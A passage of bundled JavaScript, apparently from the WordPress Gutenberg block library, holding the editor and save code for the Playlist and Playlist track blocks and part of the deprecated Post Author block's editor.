    const hasAnySelected = isSelected || hasSelectedChild;
    const innerBlocksProps = (0, import_block_editor176.useInnerBlocksProps)(blockProps, {
      __experimentalAppenderTagName: "li",
      renderAppender: hasAnySelected && import_block_editor176.InnerBlocks.ButtonBlockAppender
    });
    if (!tracks || Array.isArray(tracks) && tracks.length === 0) {
      return /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
        "div",
        {
          ...blockProps,
          className: clsx_default("is-placeholder", blockProps.className),
          children: /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
            import_block_editor176.MediaPlaceholder,
            {
              icon: /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(import_block_editor176.BlockIcon, { icon: audio_default }),
              labels: {
                title: (0, import_i18n156.__)("Playlist"),
                instructions: (0, import_i18n156.__)(
                  "Upload an audio file or pick one from your media library."
                )
              },
              onSelect: onSelectTracks,
              accept: "audio/*",
              multiple: true,
              allowedTypes: ALLOWED_MEDIA_TYPES6,
              onError: onUploadError
            }
          )
        }
      );
    }
    return /* @__PURE__ */ (0, import_jsx_runtime353.jsxs)(import_jsx_runtime353.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(import_block_editor176.BlockControls, { group: "other", children: /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
        import_block_editor176.MediaReplaceFlow,
        {
          name: (0, import_i18n156.__)("Edit"),
          onSelect: onSelectTracks,
          accept: "audio/*",
          multiple: true,
          mediaIds: tracks.filter((track) => track.id).map((track) => track.id),
          allowedTypes: ALLOWED_MEDIA_TYPES6,
          onError: onUploadError
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(import_block_editor176.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime353.jsxs)(
        import_components102.__experimentalToolsPanel,
        {
          label: (0, import_i18n156.__)("Settings"),
          resetAll: () => {
            setAttributes({
              showTracklist: true,
              showArtists: true,
              showNumbers: true,
              showImages: true,
              order: "asc"
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
              import_components102.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n156.__)("Show Tracklist"),
                isShownByDefault: true,
                hasValue: () => showTracklist !== true,
                onDeselect: () => setAttributes({ showTracklist: true }),
                children: /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
                  import_components102.ToggleControl,
                  {
                    label: (0, import_i18n156.__)("Show Tracklist"),
                    onChange: toggleAttribute("showTracklist"),
                    checked: showTracklist
                  }
                )
              }
            ),
            showTracklist && /* @__PURE__ */ (0, import_jsx_runtime353.jsxs)(import_jsx_runtime353.Fragment, { children: [
              /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
                import_components102.__experimentalToolsPanelItem,
                {
                  label: (0, import_i18n156.__)("Show artist name in Tracklist"),
                  isShownByDefault: true,
                  hasValue: () => showArtists !== true,
                  onDeselect: () => setAttributes({ showArtists: true }),
                  children: /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
                    import_components102.ToggleControl,
                    {
                      label: (0, import_i18n156.__)(
                        "Show artist name in Tracklist"
                      ),
                      onChange: toggleAttribute(
                        "showArtists"
                      ),
                      checked: showArtists
                    }
                  )
                }
              ),
              /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
                import_components102.__experimentalToolsPanelItem,
                {
                  label: (0, import_i18n156.__)("Show number in Tracklist"),
                  isShownByDefault: true,
                  hasValue: () => showNumbers !== true,
                  onDeselect: () => setAttributes({ showNumbers: true }),
                  children: /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
                    import_components102.ToggleControl,
                    {
                      label: (0, import_i18n156.__)("Show number in Tracklist"),
                      onChange: toggleAttribute(
                        "showNumbers"
                      ),
                      checked: showNumbers
                    }
                  )
                }
              )
            ] }),
            /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
              import_components102.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n156.__)("Show images"),
                isShownByDefault: true,
                hasValue: () => showImages !== true,
                onDeselect: () => setAttributes({ showImages: true }),
                children: /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
                  import_components102.ToggleControl,
                  {
                    label: (0, import_i18n156.__)("Show images"),
                    onChange: toggleAttribute("showImages"),
                    checked: showImages
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
              import_components102.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n156.__)("Order"),
                isShownByDefault: true,
                hasValue: () => order !== "asc",
                onDeselect: () => setAttributes({ order: "asc" }),
                children: /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
                  import_components102.SelectControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n156.__)("Order"),
                    value: order,
                    options: [
                      { label: (0, import_i18n156.__)("Descending"), value: "desc" },
                      { label: (0, import_i18n156.__)("Ascending"), value: "asc" }
                    ],
                    onChange: (value) => onChangeOrder(value)
                  }
                )
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime353.jsxs)("figure", { ...blockProps, children: [
        /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(import_components102.Disabled, { isDisabled: !isSelected, children: /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
          CurrentTrack,
          {
            track: tracks[trackListIndex],
            showImages,
            onTrackEnd
          }
        ) }),
        showTracklist && /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
          "ol",
          {
            className: clsx_default("wp-block-playlist__tracklist", {
              "wp-block-playlist__tracklist-show-numbers": showNumbers
            }),
            children: innerBlocksProps.children
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
          Caption,
          {
            attributes: attributes2,
            setAttributes,
            isSelected,
            insertBlocksAfter,
            label: (0, import_i18n156.__)("Playlist caption text"),
            showToolbarButton: isSelected,
            style: { marginTop: 16 }
          }
        )
      ] })
    ] });
  };
  var edit_default23 = PlaylistEdit;

  // packages/block-library/build-module/playlist/save.mjs
  var import_block_editor177 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime354 = __toESM(require_jsx_runtime(), 1);
  function saveWithInnerBlocks2({ attributes: attributes2 }) {
    const { caption, showNumbers, showTracklist, showArtists } = attributes2;
    const blockProps = import_block_editor177.useBlockProps.save();
    const innerBlocksProps = import_block_editor177.useInnerBlocksProps.save(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime354.jsxs)("figure", { ...innerBlocksProps, children: [
      /* @__PURE__ */ (0, import_jsx_runtime354.jsx)(
        "ol",
        {
          className: clsx_default("wp-block-playlist__tracklist", {
            "wp-block-playlist__tracklist-is-hidden": !showTracklist,
            "wp-block-playlist__tracklist-artist-is-hidden": !showArtists,
            "wp-block-playlist__tracklist-show-numbers": showNumbers
          }),
          children: innerBlocksProps.children
        }
      ),
      !import_block_editor177.RichText.isEmpty(caption) && /* @__PURE__ */ (0, import_jsx_runtime354.jsx)(
        import_block_editor177.RichText.Content,
        {
          tagName: "figcaption",
          className: (0, import_block_editor177.__experimentalGetElementClassName)("caption"),
          value: caption
        }
      )
    ] });
  }

  // packages/block-library/build-module/playlist/index.mjs
  var { name: name64 } = block_default63;
  var settings63 = {
    icon: audio_default,
    edit: edit_default23,
    save: saveWithInnerBlocks2
  };
  var init63 = () => initBlock({ name: name64, metadata: block_default63, settings: settings63 });

  // packages/block-library/build-module/playlist-track/index.mjs
  var playlist_track_exports = {};
  __export(playlist_track_exports, {
    init: () => init64,
    metadata: () => block_default64,
    name: () => name65,
    settings: () => settings64
  });

  // packages/block-library/build-module/playlist-track/block.json
  var block_default64 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    __experimental: true,
    name: "core/playlist-track",
    title: "Playlist track",
    category: "media",
    parent: ["core/playlist"],
    description: "Playlist track.",
    keywords: ["music", "sound"],
    textdomain: "default",
    usesContext: ["showArtists", "currentTrack"],
    attributes: {
      blob: {
        type: "string",
        role: "local"
      },
      id: {
        type: "number"
      },
      uniqueId: {
        type: "string"
      },
      src: {
        type: "string"
      },
      type: {
        type: "string",
        default: "audio"
      },
      album: {
        type: "string"
      },
      artist: {
        type: "string"
      },
      image: {
        type: "string"
      },
      length: {
        type: "string"
      },
      title: {
        type: "string"
      }
    },
    supports: {
      html: false,
      interactivity: {
        clientNavigation: true
      },
      reusable: false
    },
    style: "wp-block-playlist-track"
  };

  // packages/block-library/build-module/playlist-track/edit.mjs
  var import_blob16 = __toESM(require_blob(), 1);
  var import_element90 = __toESM(require_element(), 1);
  var import_block_editor178 = __toESM(require_block_editor(), 1);
  var import_components103 = __toESM(require_components(), 1);
  var import_data98 = __toESM(require_data(), 1);
  var import_notices15 = __toESM(require_notices(), 1);
  var import_i18n157 = __toESM(require_i18n(), 1);
  var import_dom10 = __toESM(require_dom(), 1);
  var import_jsx_runtime355 = __toESM(require_jsx_runtime(), 1);
  var ALLOWED_MEDIA_TYPES7 = ["audio"];
  var ALBUM_COVER_ALLOWED_MEDIA_TYPES = ["image"];
  var PlaylistTrackEdit = ({ attributes: attributes2, setAttributes, context }) => {
    const { id, uniqueId, src, album, artist, image, length, title } = attributes2;
    const [temporaryURL, setTemporaryURL] = (0, import_element90.useState)(attributes2.blob);
    const showArtists = context?.showArtists;
    const currentTrack = context?.currentTrack;
    const imageButton = (0, import_element90.useRef)();
    const blockProps = (0, import_block_editor178.useBlockProps)();
    const { createErrorNotice } = (0, import_data98.useDispatch)(import_notices15.store);
    function onUploadError(message) {
      createErrorNotice(message, { type: "snackbar" });
    }
    useUploadMediaFromBlobURL({
      src: temporaryURL,
      allowedTypes: ALLOWED_MEDIA_TYPES7,
      onChange: onSelectTrack,
      onError: onUploadError
    });
    function onSelectTrack(media) {
      if (!media || !media.url) {
        setAttributes({
          blob: void 0,
          id: void 0,
          uniqueId: void 0,
          artist: void 0,
          album: void 0,
          image: void 0,
          length: void 0,
          title: void 0,
          url: void 0
        });
        setTemporaryURL();
        return;
      }
      if ((0, import_blob16.isBlobURL)(media.url)) {
        setTemporaryURL(media.url);
        return;
      }
      setAttributes({
        blob: void 0,
        id: media.id,
        uniqueId: v4_default(),
        src: media.url,
        artist: media.artist || media?.meta?.artist || media?.media_details?.artist || (0, import_i18n157.__)("Unknown artist"),
        album: media.album || media?.meta?.album || media?.media_details?.album || (0, import_i18n157.__)("Unknown album"),
        // Prevent using the default media attachment icon as the track image.
        image: media?.image?.src && media?.image?.src.endsWith("/images/media/audio.svg") ? "" : media?.image?.src,
        length: media?.fileLength || media?.media_details?.length_formatted,
        title: media.title
      });
      setTemporaryURL();
    }
    function onSelectAlbumCoverImage(coverImage) {
      setAttributes({ image: coverImage.url });
    }
    function onRemoveAlbumCoverImage() {
      setAttributes({ image: void 0 });
      imageButton.current.focus();
    }
    if (!src && !temporaryURL) {
      return /* @__PURE__ */ (0, import_jsx_runtime355.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(
        import_block_editor178.MediaPlaceholder,
        {
          icon: /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(import_block_editor178.BlockIcon, { icon: audio_default }),
          labels: {
            title: (0, import_i18n157.__)("Track"),
            instructions: (0, import_i18n157.__)(
              "Upload an audio file or pick one from your media library."
            )
          },
          onSelect: onSelectTrack,
          accept: "audio/*",
          allowedTypes: ALLOWED_MEDIA_TYPES7,
          value: attributes2,
          onError: onUploadError
        }
      ) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime355.jsxs)(import_jsx_runtime355.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(import_block_editor178.BlockControls, { group: "other", children: /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(
        import_block_editor178.MediaReplaceFlow,
        {
          name: (0, import_i18n157.__)("Replace"),
          onSelect: onSelectTrack,
          accept: "audio/*",
          mediaId: id,
          mediaURL: src,
          allowedTypes: ALLOWED_MEDIA_TYPES7,
          onError: onUploadError
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(import_block_editor178.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime355.jsxs)(import_components103.PanelBody, { title: (0, import_i18n157.__)("Settings"), children: [
        /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(
          import_components103.TextControl,
          {
            __next40pxDefaultSize: true,
            label: (0, import_i18n157.__)("Artist"),
            value: artist ? (0, import_dom10.__unstableStripHTML)(artist) : "",
            onChange: (artistValue) => {
              setAttributes({ artist: artistValue });
            }
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(
          import_components103.TextControl,
          {
            __next40pxDefaultSize: true,
            label: (0, import_i18n157.__)("Album"),
            value: album ? (0, import_dom10.__unstableStripHTML)(album) : "",
            onChange: (albumValue) => {
              setAttributes({ album: albumValue });
            }
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(
          import_components103.TextControl,
          {
            __next40pxDefaultSize: true,
            label: (0, import_i18n157.__)("Title"),
            value: title ? (0, import_dom10.__unstableStripHTML)(title) : "",
            placeholder: title ? (0, import_dom10.__unstableStripHTML)(title) : "",
            onChange: (titleValue) => {
              setAttributes({ title: titleValue });
            }
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(import_block_editor178.MediaUploadCheck, { children: /* @__PURE__ */ (0, import_jsx_runtime355.jsxs)("div", { className: "editor-video-poster-control", children: [
          /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(import_components103.BaseControl.VisualLabel, { children: (0, import_i18n157.__)("Album cover image") }),
          !!image && /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(
            "img",
            {
              src: image,
              alt: (0, import_i18n157.__)(
                "Preview of the album cover image"
              )
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(
            import_block_editor178.MediaUpload,
            {
              title: (0, import_i18n157.__)("Select image"),
              onSelect: onSelectAlbumCoverImage,
              allowedTypes: ALBUM_COVER_ALLOWED_MEDIA_TYPES,
              render: ({ open }) => /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(
                import_components103.Button,
                {
                  __next40pxDefaultSize: true,
                  variant: "primary",
                  onClick: open,
                  ref: imageButton,
                  children: !image ? (0, import_i18n157.__)("Select") : (0, import_i18n157.__)("Replace")
                }
              )
            }
          ),
          !!image && /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(
            import_components103.Button,
            {
              __next40pxDefaultSize: true,
              onClick: onRemoveAlbumCoverImage,
              variant: "tertiary",
              children: (0, import_i18n157.__)("Remove")
            }
          )
        ] }) })
      ] }) }),
      /* @__PURE__ */ (0, import_jsx_runtime355.jsxs)("li", { ...blockProps, children: [
        !!temporaryURL && /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(import_components103.Spinner, {}),
        /* @__PURE__ */ (0, import_jsx_runtime355.jsxs)(
          "button",
          {
            className: "wp-block-playlist-track__button",
            "data-wp-context": JSON.stringify({ uniqueId }),
            "aria-current": currentTrack === uniqueId ? "true" : "false",
            children: [
              /* @__PURE__ */ (0, import_jsx_runtime355.jsxs)("span", { className: "wp-block-playlist-track__content", children: [
                /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(
                  import_block_editor178.RichText,
                  {
                    tagName: "span",
                    className: "wp-block-playlist-track__title",
                    value: title,
                    placeholder: (0, import_i18n157.__)("Add title"),
                    onChange: (value) => {
                      setAttributes({ title: value });
                    },
                    allowedFormats: [],
                    withoutInteractiveFormatting: true
                  }
                ),
                showArtists && /* @__PURE__ */ (0, import_jsx_runtime355.jsx)(
                  import_block_editor178.RichText,
                  {
                    tagName: "span",
                    className: "wp-block-playlist-track__artist",
                    value: artist,
                    placeholder: (0, import_i18n157.__)("Add artist"),
                    onChange: (value) => setAttributes({ artist: value }),
                    allowedFormats: [],
                    withoutInteractiveFormatting: true
                  }
                )
              ] }),
              /* @__PURE__ */ (0, import_jsx_runtime355.jsxs)("span", { className: "wp-block-playlist-track__length", children: [
                length && /* @__PURE__ */ (0, import_jsx_runtime355.jsx)("span", {
                  className: "screen-reader-text",
                  /* translators: %s: Visually hidden label for the track length (screen reader text). */
                  children: (0, import_i18n157.__)("Length:")
                }),
                length
              ] }),
              /* @__PURE__ */ (0, import_jsx_runtime355.jsx)("span", { className: "screen-reader-text", children: (0, import_i18n157.__)("Select to play this track") })
            ]
          }
        )
      ] })
    ] });
  };
  var edit_default24 = PlaylistTrackEdit;

  // packages/block-library/build-module/playlist-track/index.mjs
  var { name: name65 } = block_default64;
  var settings64 = {
    icon: audio_default,
    edit: edit_default24
  };
  var init64 = () => initBlock({ name: name65, metadata: block_default64, settings: settings64 });

  // packages/block-library/build-module/post-author/index.mjs
  var post_author_exports = {};
  __export(post_author_exports, {
    init: () => init65,
    metadata: () => block_default65,
    name: () => name66,
    settings: () => settings65
  });
  var import_i18n160 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/post-author/block.json
  var block_default65 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/post-author",
    title: "Author (deprecated)",
    category: "theme",
    description: "This block is deprecated. Please use the Avatar block, the Author Name block, and the Author Biography block instead.",
    textdomain: "default",
    attributes: {
      textAlign: {
        type: "string"
      },
      avatarSize: {
        type: "number",
        default: 48
      },
      showAvatar: {
        type: "boolean",
        default: true
      },
      showBio: {
        type: "boolean"
      },
      byline: {
        type: "string"
      },
      isLink: {
        type: "boolean",
        default: false,
        role: "content"
      },
      linkTarget: {
        type: "string",
        default: "_self",
        role: "content"
      }
    },
    usesContext: ["postType", "postId", "queryId"],
    supports: {
      inserter: false,
      anchor: true,
      html: false,
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      },
      filter: {
        duotone: true
      }
    },
    selectors: {
      filter: {
        duotone: ".wp-block-post-author .wp-block-post-author__avatar img"
      }
    },
    editorStyle: "wp-block-post-author-editor",
    style: "wp-block-post-author"
  };

  // packages/block-library/build-module/post-author/edit.mjs
  var import_block_editor180 = __toESM(require_block_editor(), 1);
  var import_components104 = __toESM(require_components(), 1);
  var import_compose42 = __toESM(require_compose(), 1);
  var import_core_data54 = __toESM(require_core_data(), 1);
  var import_data99 = __toESM(require_data(), 1);
  var import_element91 = __toESM(require_element(), 1);
  var import_html_entities8 = __toESM(require_html_entities(), 1);
  var import_i18n159 = __toESM(require_i18n(), 1);
  var import_blocks79 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/post-author/utils.mjs
  var import_blocks78 = __toESM(require_blocks(), 1);
  var import_i18n158 = __toESM(require_i18n(), 1);
  var import_block_editor179 = __toESM(require_block_editor(), 1);
  var { cleanEmptyObject: cleanEmptyObject5 } = unlock(import_block_editor179.privateApis);
  function recreateWithRecommendedBlocks(attributes2, blockTypes) {
    const {
      avatarSize,
      byline,
      showAvatar,
      showBio,
      isLink,
      linkTarget,
      textAlign,
      style: style2,
      ...restAttributes
    } = attributes2;
    const shouldInsertAvatarBlock = showAvatar && blockTypes.some((blockType) => blockType.name === "core/avatar");
    const shouldInsertParagraphBlock = byline && blockTypes.some((blockType) => blockType.name === "core/paragraph");
    const shouldInsertPostAuthorNameBlock = blockTypes.some(
      (blockType) => blockType.name === "core/post-author-name"
    );
    const shouldInsertPostAuthorBiographyBlock = showBio && blockTypes.some(
      (blockType) => blockType.name === "core/post-author-biography"
    );
    return (0, import_blocks78.createBlock)(
      "core/group",
      {
        ...restAttributes,
        style: cleanEmptyObject5({
          ...style2,
          spacing: {
            ...style2?.spacing,
            blockGap: "1em"
          },
          color: {
            ...style2?.color,
            // Duotone must be applied to the avatar block.
            duotone: void 0
          }
        }),
        layout: {
          type: "flex",
          flexWrap: "nowrap",
          verticalAlignment: "top"
        }
      },
      [
        shouldInsertAvatarBlock && (0, import_blocks78.createBlock)("core/avatar", {
          size: avatarSize,
          style: cleanEmptyObject5({
            border: {
              radius: "0px"
            },
            color: {
              duotone: style2?.color?.duotone
            }
          })
        }),
        (0, import_blocks78.createBlock)(
          "core/group",
          {
            style: {
              layout: {
                selfStretch: "fill",
                flexSize: null
              },
              spacing: {
                blockGap: "0"
              }
            },
            layout: {
              type: "flex",
              orientation: "vertical",
              justifyContent: "stretch"
            }
          },
          [
            shouldInsertParagraphBlock && (0, import_blocks78.createBlock)("core/paragraph", {
              content: byline,
              placeholder: (0, import_i18n158.__)("Write byline\u2026"),
              style: {
                typography: {
                  fontSize: "0.5em",
                  textAlign
                }
              }
            }),
            shouldInsertPostAuthorNameBlock && (0, import_blocks78.createBlock)("core/post-author-name", {
              isLink,
              linkTarget,
              style: {
                typography: {
                  fontSize: "1em",
                  textAlign
                }
              }
            }),
            shouldInsertPostAuthorBiographyBlock && (0, import_blocks78.createBlock)("core/post-author-biography", {
              style: {
                typography: {
                  fontSize: "0.7em",
                  textAlign
                }
              }
            })
          ].filter(Boolean)
        )
      ].filter(Boolean)
    );
  }

  // packages/block-library/build-module/post-author/edit.mjs
  var import_jsx_runtime356 = __toESM(require_jsx_runtime(), 1);
  var { InspectorControlsLastItem } = unlock(import_block_editor180.privateApis);
  var AUTHORS_QUERY2 = {
    who: "authors",
    per_page: 100,
    _fields: "id,name",
    context: "view"
  };
  function AuthorCombobox({ value, onChange }) {
    const [filterValue, setFilterValue] = (0, import_element91.useState)("");
    const { authors, isLoading } = (0, import_data99.useSelect)(
      (select9) => {
        const { getUsers, isResolving } = select9(import_core_data54.store);
        const query = { ...AUTHORS_QUERY2 };
        if (filterValue) {
          query.search = filterValue;
          query.search_columns = ["name"];
        }
        return {
          authors: getUsers(query),
          isLoading: isResolving("getUsers", [query])
        };
      },
      [filterValue]
    );
    const authorOptions = (0, import_element91.useMemo)(() => {
      const fetchedAuthors = (authors ?? []).map((author) => {
        return {
          value: author.id,
          label: (0, import_html_entities8.decodeEntities)(author.name)
        };
      });
      const foundAuthor = fetchedAuthors.findIndex(
        (fetchedAuthor) => value?.id === fetchedAuthor.value
      );
      let currentAuthor = [];
      if (foundAuthor < 0 && value) {
        currentAuthor = [
          {
            value: value.id,
            label: (0, import_html_entities8.decodeEntities)(value.name)
          }
        ];
      } else if (foundAuthor < 0 && !value) {
        currentAuthor = [
          {
            value: 0,
            label: (0, import_i18n159.__)("(No author)")
          }
        ];
      }
      return [...currentAuthor, ...fetchedAuthors];
    }, [authors, value]);
    return /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
      import_components104.ComboboxControl,
      {
        __next40pxDefaultSize: true,
        label: (0, import_i18n159.__)("Author"),
        options: authorOptions,
        value: value?.id,
        onFilterValueChange: (0, import_compose42.debounce)(setFilterValue, 300),
        onChange,
        allowReset: false,
        isLoading
      }
    );
  }
  function PostAuthorEdit({
    isSelected,
    context: { postType, postId, queryId },
    attributes: attributes2,
    setAttributes,
    clientId
  }) {
    const isDescendentOfQueryLoop = Number.isFinite(queryId);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const defaultAvatar = useDefaultAvatar();
    const { authorDetails, canAssignAuthor, supportsAuthor } = (0, import_data99.useSelect)(
      (select9) => {
        const { getEditedEntityRecord, getUser, getPostType } = select9(import_core_data54.store);
        const currentPost = getEditedEntityRecord(
          "postType",
          postType,
          postId
        );
        const authorId = currentPost?.author;
        return {
          authorDetails: authorId ? getUser(authorId, { context: "view" }) : null,
          supportsAuthor: getPostType(postType)?.supports?.author ?? false,
          canAssignAuthor: currentPost?._links?.["wp:action-assign-author"] ? true : false
        };
      },
      [postType, postId]
    );
    const blockTypes = (0, import_data99.useSelect)(
      (select9) => select9(import_blocks79.store).getBlockTypes(),
      []
    );
    const { editEntityRecord } = (0, import_data99.useDispatch)(import_core_data54.store);
    const { replaceBlock } = (0, import_data99.useDispatch)(import_block_editor180.store);
    const {
      textAlign,
      showAvatar,
      showBio,
      byline,
      isLink,
      linkTarget,
      avatarSize
    } = attributes2;
    const avatarSizes = [];
    const authorName = authorDetails?.name || (0, import_i18n159.__)("Post Author");
    if (authorDetails?.avatar_urls) {
      Object.keys(authorDetails.avatar_urls).forEach((size) => {
        avatarSizes.push({
          value: size,
          label: `${size} x ${size}`
        });
      });
    }
    const blockProps = (0, import_block_editor180.useBlockProps)({
      className: clsx_default({
        [`has-text-align-${textAlign}`]: textAlign
      })
    });
    const handleSelect = (nextAuthorId) => {
      editEntityRecord("postType", postType, postId, {
        author: nextAuthorId
      });
    };
    const showAuthorControl = !!postId && !isDescendentOfQueryLoop && canAssignAuthor;
    if (!supportsAuthor && postType !== void 0) {
      return /* @__PURE__ */ (0, import_jsx_runtime356.jsx)("div", { ...blockProps, children: (0, import_i18n159.sprintf)(
        // translators: %s: Name of the post type e.g: "post".
        (0, import_i18n159.__)("This post type (%s) does not support the author."),
        postType
      ) });
    }
    function transformBlock() {
      replaceBlock(
        clientId,
        recreateWithRecommendedBlocks(attributes2, blockTypes)
      );
    }
    return /* @__PURE__ */ (0, import_jsx_runtime356.jsxs)(import_jsx_runtime356.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(import_block_editor180.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime356.jsxs)(
        import_components104.__experimentalToolsPanel,
        {
          label: (0, import_i18n159.__)("Settings"),
          resetAll: () => {
            setAttributes({
              avatarSize: 48,
              showAvatar: true,
              isLink: false,
              linkTarget: "_self"
            });
          },
          dropdownMenuProps,
          children: [
            showAuthorControl && /* @__PURE__ */ (0, import_jsx_runtime356.jsx)("div", { style: { gridColumn: "1 / -1" }, children: /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
              AuthorCombobox,
              {
                value: authorDetails,
                onChange: handleSelect
              }
            ) }),
            /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
              import_components104.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n159.__)("Show avatar"),
                isShownByDefault: true,
                hasValue: () => !showAvatar,
                onDeselect: () => setAttributes({ showAvatar: true }),
                children: /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
                  import_components104.ToggleControl,
                  {
                    label: (0, import_i18n159.__)("Show avatar"),
                    checked: showAvatar,
                    onChange: () => setAttributes({
                      showAvatar: !showAvatar
                    })
                  }
                )
              }
            ),
            showAvatar && /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
              import_components104.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n159.__)("Avatar size"),
                isShownByDefault: true,
                hasValue: () => avatarSize !== 48,
                onDeselect: () => setAttributes({ avatarSize: 48 }),
                children: /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
                  import_components104.SelectControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n159.__)("Avatar size"),
                    value: avatarSize,
                    options: avatarSizes,
                    onChange: (size) => {
                      setAttributes({
                        avatarSize: Number(size)
                      });
                    }
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
              import_components104.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n159.__)("Show bio"),
                isShownByDefault: true,
                hasValue: () => !!showBio,
                onDeselect: () => setAttributes({ showBio: void 0 }),
                children: /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
                  import_components104.ToggleControl,
                  {
                    label: (0, import_i18n159.__)("Show bio"),
                    checked: !!showBio,
                    onChange: () => setAttributes({ showBio: !showBio })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
              import_components104.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n159.__)("Link author name to author page"),
                isShownByDefault: true,
                hasValue: () => !!isLink,
                onDeselect: () => setAttributes({ isLink: false }),
                children: /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
                  import_components104.ToggleControl,
                  {
                    label: (0, import_i18n159.__)("Link author name to author page"),
                    checked: isLink,
                    onChange: () => setAttributes({ isLink: !isLink })
                  }
                )
              }
            ),
            isLink && /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
              import_components104.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n159.__)("Link target"),
                isShownByDefault: true,
                hasValue: () => linkTarget !== "_self",
                onDeselect: () => setAttributes({ linkTarget: "_self" }),
                children: /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
                  import_components104.ToggleControl,
                  {
                    label: (0, import_i18n159.__)("Open in new tab"),
                    onChange: (value) => setAttributes({
                      linkTarget: value ? "_blank" : "_self"
                    }),
                    checked: linkTarget === "_blank"
                  }
                )
              }
            )
          ]
        }
      ) }),
      blockTypes.some(
        (blockType) => blockType.name === "core/group"
      ) && /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(InspectorControlsLastItem, { children: /* @__PURE__ */ (0, import_jsx_runtime356.jsxs)(
        import_components104.__experimentalVStack,
        {
          className: "wp-block-post-author__transform",
          alignment: "left",
          spacing: 4,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(import_components104.__experimentalText, { as: "p", children: (0, import_i18n159.__)(
              "This block is no longer supported. Recreate its design with the Avatar, Author Name and Author Biography blocks."
            ) }),
            /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
              import_components104.Button,
              {
                variant: "primary",
                onClick: transformBlock,
                __next40pxDefaultSize: true,
